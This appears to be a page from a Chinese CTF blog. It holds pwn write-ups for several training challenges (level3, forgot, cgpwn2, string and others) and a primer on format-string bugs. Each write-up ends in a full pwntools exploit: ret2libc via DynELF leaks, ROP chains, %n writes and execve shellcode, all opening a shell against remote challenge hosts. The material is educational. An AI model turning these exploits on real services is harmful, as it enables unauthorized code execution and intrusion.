xfgg


  • Home

  • Tags

  • Categories

  • Archives

easy_heap

Posted on 2019-07-27 | In sctf 2019

level3

Posted on 2019-07-27 | In 攻防世界

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
xfgg@ubuntu:~/Downloads$ checksec level3
[*] '/home/xfgg/Downloads/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只有nx保护

ida分析

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了 这里有一个新的模式,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串

xfgg@ubuntu:~/Downloads$ ROPgadget --binary level3 --only "pop|ret"
Gadgets information
============================================================
0x0804851b : pop ebp ; ret
0x08048518 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804851a : pop edi ; pop ebp ; ret
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

我们选中这里作为ROP的位置
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
构造payload: payload=’A’0x88+’A’4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)

这一部分是为了泄露出来write 函数的got表内容 payload = “A” 0x88 + “A” 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)

这一部分会返等待输入,把输入的内容放到bss_addr。返回地址pop_pop_pop_ret保证堆栈平衡 payload+=p32(system_addr)+p32(0x77777777)+p32(bin_sh_addr)

这一部分是为了执行system(“/bin/sh”)函数。会执行system("/bin/sh")是因为发送过去的payload在函数返回时才会起作用

from pwn import *

pop_pop_pop_ret=0x08048519

elf=ELF("/home/xfgg/level3") ##载入level3程序

plt_write=elf.plt["write"]
got_write=elf.got["write"]

p=remote("111.198.29.45",41869)
##获取level3的write的plt表和got表
p.recvline()

##因为程序中调用了write()函数,write()函数是从Libc中动态调用的,所以,我们可以根据write()在libc中的地址通过偏移泄露出##libc的版本

payload="A"0x88+"A"4+p32(plt_write)+p32(pop_pop_pop_ret)+p32(1)+p32(got_write)+p32(4)
p.sendline(payload)

write_addr=u32(p.recv(4))

## u32():表示unsigned long int,而且只接受4字节就够用了

print "write_addr="+hex(write_addr)

##这里泄露libc的版本,运行这段代码就能获取到write函数的运行地址(放在write_addr里面)。 运行结果为write_addr=0xf7dfad80为了获取到libc版本这里推荐一个网站https://libc.blukat.me/?q=write%3A0x7f2179c14440。可以在这里通过函数名和地址查询出运行库的版本也提供下载。(如果一个地址查到不止一个库版本可以试着再泄露一个函数) 当然也可以自动获取,这个更可靠,pwntools提供的有库LibcSearcher。由于本人的电脑重装,还没安这个库,所以,没有直接用,而是跟LibcSearcher一样的方式,先泄露然后查找

0x03 攻击

1
write函数和libc泄露,写入system('/bin/sh') 最好使用dynelf模块

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

elf = ELF("/home/xfgg/Downloads/level3")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
main_addr = 0x08048484

def leak(address):
p.recvline()
payload1 = "a"*0x88+"a"*4+p32(plt_write)+p32(main_addr)+p32(1)+p32(address)+p32(4)
p.sendline(payload1)
date = p.recv(4)
print "%#x => %s" % (address,(date or '').encode('hex'))
return date

p = remote('111.198.29.45',57881)
d = DynELF(leak,elf=ELF("/home/xfgg/Downloads/level3"))
system_addr = d.lookup('system','libc')

bss_addr = 0x0804a024
pop_addr = 0x08048519

p.recvline()

payload2 = "a"*140+p32(plt_read)+p32(pop_addr)+p32(0)+p32(bss_addr)+p32(8)
payload2 +=p32(system_addr)+p32(main_addr)+p32(bss_addr)

p.sendline(payload2)
p.sendline("/bin/sh")
p.interactive()

pwn1

Posted on 2019-07-27 | In BUUCTF

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
很简单的栈溢出 

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]

puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}

int fun()
{
return system("/bin/sh");
}

0x02 思路分析

1
不解释,前面有一样的

exp

1
2
3
4
5
6
from pwn import *
p=remote('buuoj.cn',6001)
fun_addr=0x0000000000401186
payload='a'*0x0f+'a'*8+p64(fun_addr)
p.sendline(payload)
p.interactive()

forgot

Posted on 2019-07-27 | In 攻防世界

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
xfgg@ubuntu:~/Downloads$ checksec forgot
[*] '/home/xfgg/Downloads/forgot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

只开启了nx保护

ida分析

1
发现有两处溢出点

1
可以观察到箭头处是个函数指针,&v3 是v3在栈上的地址,&v3 + --v14 是根据&v3在栈上移动,上面的for循环是用来改变v14的值,根据溢出点函数指针v3到v12 ,变量v14都可以被我们控制,接下来再找找有没有system函数

1
发现目标函数

0x02 思路分析

1
2
接下来我的想法是利用缓冲区溢出把函数指针v12 覆盖为地址0x080486cc,接下来再控制v14的值为10, 那么 &v3+ --v14 便会指向
v12,随后cat flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = remote("111.198.29.45",39675)

payload = 'a'*0x44 + p32(0x080486CC) + 'a'*0x20 + p32(0x8)

#利用缓冲区溢出把函数指针v12 覆盖为地址0x080486cc,接下来再控制v14的值为10, 那么 &v3+ --v14 便会指向
#v12,随后cat flag
p.recvuntil(">")
p.sendline("bbb")

p.sendlineafter("> ", payload)

p.interactive()

warm up

Posted on 2019-07-27 | In 攻防世界

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
xfgg@ubuntu:~/Downloads$ checksec warmup

[*] '/home/xfgg/Downloads/warmup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
只开启了nx保护

ida分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}

gets(&v5, ">"); 栈溢出漏洞利用

int sub_40060D()
{
return system("cat flag.txt");
}

system函数

-0000000000000040 var_40 db ?
-000000000000003F db ? ; undefined
-000000000000003E db ? ; undefined
-000000000000003D db ? ; undefined
-000000000000003C db ? ; undefined
-000000000000003B db ? ; undefined
-000000000000003A db ? ; undefined
-0000000000000039 db ? ; undefined
-0000000000000038 db ? ; undefined
-0000000000000037 db ? ; undefined
-0000000000000036 db ? ; undefined
-0000000000000035 db ? ; undefined
-0000000000000034 db ? ; undefined

+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

覆盖v5只需要0x48个字节就可以了

0x02 思路分析

1
利用栈溢出覆盖gets中的v5,写入system函数的地址即可

0x03 攻击

1
非常简单的64位栈溢出

exp

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote('111.198.29.45',41315)
sys_addr = 0x000000000040060D

payload = 'a'*0x40+'a'*8+p64(sys_addr)

p.sendline(payload)

p.interactive()

dice game

Posted on 2019-07-27 | In 攻防世界

0x01 寻找漏洞

1
2
3
题目考察的是:rand()生成的随机数和随机种子seed()有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到seed(),实现一个可预测的随机数列。

ida分析

1
buf覆盖0x40位就能覆盖到seed

1
sub_A20()如下,就是比较你输入的数是否和产生的随机数相等

1
当回答正确50次时,会执行sub_B28这个函数,读取flag。

0x02 思路分析

1
所以我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = remote("111.198.29.45",56942)


asm =[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]


payload = 'A'*0x40 + p64(0)
p.recvuntil("know your name: ")
p.sendline(payload)


for x in asm:
p.recvuntil("Give me the point(1~6): ")
p.send(str(x) + '\n')


p.interactive()

### 产生随机数的脚本

#include <stdio.h>
#include <stdlib.h>


int main(){
srand(0); ##切记一定是0 ,第一次尝试错误了 没有将种子设置为0
for(int i=0;i<50;i++)

printf("%d,",rand()%6 +1);
printf("\n");
return 0;
}

int_overflow

Posted on 2019-07-27 | In 攻防世界

0x01 寻找漏洞

1
2
3
4
5
6
7
8
xfgg@ubuntu:~/Downloads$ checksec int_overflow
[*] '/home/xfgg/Downloads/int_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启了nx保护

1
read 函数处可以进行溢出,但是需要经过 check_passwd 函数才能将跳出login。现在再看一下 check_passwd 函数内部,

1
v3 = strlen(s);造成整数溢出的一个点,我们再看一下此处的汇编代码。

1
call strlen 之后 返回值放在了al寄存器中,这是一个八位的积存器,也就是说如果 s 字符串的长度 大于255 就会造成 整数溢出。 再加上四字节就可以溢出

0x02 思路分析

1
2
我们需要进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。
现在我们知道了可以通过整数溢出到达 栈溢出漏洞,修改程序执行流,使程序跳转到 what_is_this 中。

0x03 攻击

1
栈溢出漏洞 加一个整数漏洞

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote('111.198.29.45',44825)

p.sendlineafter("choice:","1")
p.sendlineafter("username:\n","2")
sys_addr = 0x0804868b
payload = 'a'*0x14+'a'*4+p32(sys_addr)
payload = payload.ljust(259,"A")

p.sendlineafter("passwd:\n",payload)
p.interactive()

cgpwn2

Posted on 2019-07-27 | In 攻防世界

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
xfgg@ubuntu:~/Downloads$ checksec cgpwn2
[*] '/home/xfgg/Downloads/cgpwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启了nx保护

ida分析
char *hello()
{
char *v0; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]

v0 = &s;
v1 = 30;
if ( (unsigned int)&s & 2 )
{
*(_WORD *)&s = 0;
v0 = (char *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v0[v2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2];
if ( v1 & 2 )
{
*(_WORD *)v3 = 0;
v3 += 2;
}
if ( v1 & 1 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}

fgets(name, 50, stdin); 栈溢出漏洞

.bss:0804A080 name db 34h dup(?) ; DATA XREF: hello+77↑o
.bss:0804A080 _bss ends
.bss:0804A080

name 在bss段可以写入/bin/sh

int pwn()
{
return system("echo hehehe");
}

有system但是没有/bin/sh 需要自己写入

00000026 s db ?
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
.................
00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

溢出字节位42字节

0x02 思路分析

1
2
3
在找关键字符串的时候没有发现 bin/sh 。所以我们需要将bin/sh写到我们可以访问的地址中去。我们可以在输入name的时候把 bin/sh写进去。name位于bss段,bss段保存全局变量,加载地址不会因为地址随机化的开启而有所变化。

将 system 的地址写到 hello 函数的返回地址中,同时将之前 bin/sh 的地址也写到栈中,作为system函数的参数

0x03 攻击

1
普通的栈溢出攻击 有system但是没有/bin/sh

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=remote('111.198.29.45',48164)
bin_sh_addr=0x0804A080
p.sendline("/bin/sh")
system_addr=0x08048420
payload='a'*0x26+'a'*4+p32(system_addr)+p32(system_addr)+p32(bin_sh_addr)

p.sendline(payload)

p.interactive()

格式化字符串漏洞

Posted on 2019-07-27 | In 理论知识

格式化字符串漏洞基本原理

1
2
3
4
5
6
7
8
9
10
11
12
13
格式化字符串漏洞在通用漏洞类型库CWE中的编号是134,其解释为“软件使用了格式化字符串作为参数,且该格式化字符串来自外部输入”。会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数。介绍格式化字符串原理的文章有很多,我这里就以printf函数为例,简单回顾其中的要点。

printf()函数的一般形式为printf("format", 输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出。正常情况下,我们是这样使用的:

char str[100];
scanf("%s",str);
printf("%s",str);
但也会有人这么用:

char str[100];
scanf("%s",str);
printf(str)
也许代码编写者的本意只是单纯打印一段字符(如“hello world”),但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配format参数。

1
2
3
4
5
6
7
以上图为例,假设调用printf(str)时的栈是这样的。

1)如str就是“hello world”,则直接输出“hello world”;

2)如str是format,比如是%2$x,则输出偏移2处的16进制数据0xdeadbeef。

通过组合变换格式化字符串参数,我们可以读取任意偏移处的数据或向任意偏移处写数据,从而达到利用格式化字符串漏洞的作用。

基本的格式化字符串参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据

原文链接:https://www.anquanke.com/post/id/85785

string

Posted on 2019-07-27 | In 攻防世界

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
xfgg@ubuntu:~/Downloads$ checksec string
[*] '/home/xfgg/Downloads/string'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
除了PIE,其他保护全开

ida分析
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
}
return __readfsqword(0x28u) ^ v3;

((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);这句话的意思是:把v1强制转化成一个函数指针,然后调用这个函数。也就是说如果我们shellcode写到这个位置,就能直接调用。shellcode可以通过上面的read函数来写进去。

if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}

第二:需要让*a1 == a1[1]。a1是作为参数传进来的,通过回溯,我们发现 a1 就是在 main 函数中 定义的v3,是一个指向堆块的指针。其中v3[0]=68,v3[1]=85。也就是说当v3[0]==v3[1]时就能满足*a1 == a1[1]。利用格式化字符串漏洞可以修改

v4 = (__int64)v3;
*v3 = 68;
v3[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4, a2);
printf("secret[1] is %x\n", v4 + 4);
puts("do not tell anyone ");
sub_400D72(v4);
puts("The End.....Really?");

printf("secret[0] is %x\n", v4, a2);secret[0] 就是 我们需要的地址。

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
现在 地址有了,利用格式化字符串 将 *a1 == a1[1],成功进入脆弱点,写入shellcode。
这道题有一点需要注意,这是一个64位的程序,在64位下,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是说,若使用”x$”,当1<=x<=6时,指向的应该依次是上述这6个寄存器中保存的数值),而从第7个参数开始,依然会保存在栈中。故若使用”x$”,则从x=7开始,我们就可以指向栈中数据了。

在输入address的时候,输入1234,并在 printf(&format, &format)前下一个断点,查看我们输入的地址在栈中的位置:
(gdb) x/10gx $rsp
0x7fffffffd5e8: 0x00007ffff7a71148 0x00007ffff7dcfa00
0x7fffffffd5f8: 0x00007ffff7dcc2a0 0x0000000000000000
0x7fffffffd608: 0x0000000000000073 0x00007ffff7dcfa00
0x7fffffffd618: 0x00007ffff7a723f2 0x0000000000000000
0x7fffffffd628: 0x00007ffff7dd0560 0x00007fffffffdd20

0x03 攻击

1
格式化字符串漏洞请看另一篇文章。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

#p = process("/home/xfgg/Downloads/string")
p = remote('111.198.29.45',34288)
p.recvuntil('secret[0] is ')
n = p.recvuntil('\n')
print n[:-1]
print int(n[:-1],16)
addrs = int(n[:-1],16)
print "addrs: " + hex(addrs)
p.recvuntil('name be:\n')
p.sendline("susan")
p.recvuntil('or up?:\n')
p.sendline("east")
p.recvuntil('leave(0)?:\n')
p.sendline("1")
p.recvuntil("address'\n")
p.sendline(str(addrs))
p.recvuntil('you wish is:\n')
payload = "%85c" + "%7$n"
p.sendline(payload)
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

p.recvuntil('USE YOU SPELL\n')
p.sendline(shellcode)
p.interactive()
1…345

xfgg

42 posts
14 categories
3 tags
RSS
© 2019 xfgg
Powered by Hexo
|
Theme — NexT.Gemini v5.1.4
0%